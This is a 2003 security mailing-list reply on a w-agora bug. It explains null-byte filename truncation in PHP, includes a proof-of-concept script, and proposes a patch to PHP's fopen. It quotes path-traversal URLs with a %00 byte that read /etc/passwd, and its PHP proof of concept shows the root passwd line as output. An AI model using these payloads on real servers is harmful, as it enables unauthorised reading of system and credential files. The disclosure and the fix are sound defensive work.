Re: Bug in w-agora

[Ian Clelland <ian () veryfresh com>]

On Thu, Jan 16, 2003 at 12:07:12AM +0100, Nicob wrote:
> On Sun, 2003-01-12 at 16:03, sonyy () 2vias com ar wrote:
> > index.php :
> >            $cfg_file = "${cfg_dir}/${bn}.${ext}";
> >
> > http://www.w-agora.net/current/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00
> > http://www.w-agora.net/current/modules.php?mod=fm&file=../../../../../../../../../../etc/passwd%00&bn=fm_d1
>
> AFAIK, the Null-byte attack doesn't work with PHP. It works with Perl
> and some Java apps, yes, but not PHP ...

PHP strings in general are stored with their lengths, and can contain
arbitrary binary data (unlike, say, C). Within PHP, strings containing
null bytes are safe to use.

The problem here is that PHP will often pass PHP-function-parameters
unchecked directly to the lower-level C library functions.

PHP may handle a filename like '/etc/passwd\x00.ext' just fine, but if
it passes the address of that string to fopen(), then the C function
will treat the argument as a null-terminated string, and open
/etc/passwd.


As a quick proof-of-concept, try this code under your favourite PHP
interpreter (I've tested it on a 4.0-series platform, and a quick
perusal of the the relevant files in the 4.3.0 source doesn't show any
protection against this):

<?php

  header("Content-type: text/plain");
  $filename = '/etc/passwd'."\0".'.ext';
  $file = fopen($filename,'r');
  $line = fgets($file,1024);
  echo $filename."\r\n";
  echo $line;
  fclose($file);

?>


Output:
/etc/passwd .ext
root:x:0:0:root:/root:/bin/bash



You can see by the output of the echo statement that PHP deals with null
bytes very well within strings, but that fopen stopped reading the
filename at the null.

This looks to be quite difficult to guard against -- the application
level solution would have to involve scanning all strings for null bytes
before passing them to any of a very large number of PHP functions. A
better solution would be to have PHP itself do a libc string length
check before passing arguments to lower-level functions.

Adding just a few lines to ext/standard/file.c should prevent an attack
like this on fopen:

***************
*** 1086,1092 ****
--- 1086,1095 ----
        if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss|br",
                                &mode, &mode_len, &use_include_path,
&zcontext) == FAILURE) {
                RETURN_FALSE;
        }
+       if (strlen(filename) != filename_len) {
+               RETURN_FALSE;
+       }
        if (zcontext) {
                ZEND_FETCH_RESOURCE(context, php_stream_context*,
&zcontext, -1, "stream-context", le_stream_context);
        }


There is almost certainly a better place to check this; I'm not that
familiar with the code. And, of course, there are probably at least a
hundred other points in the code where a patch like this needs to be
applied.


Ian Clelland
<ian () veryfresh com>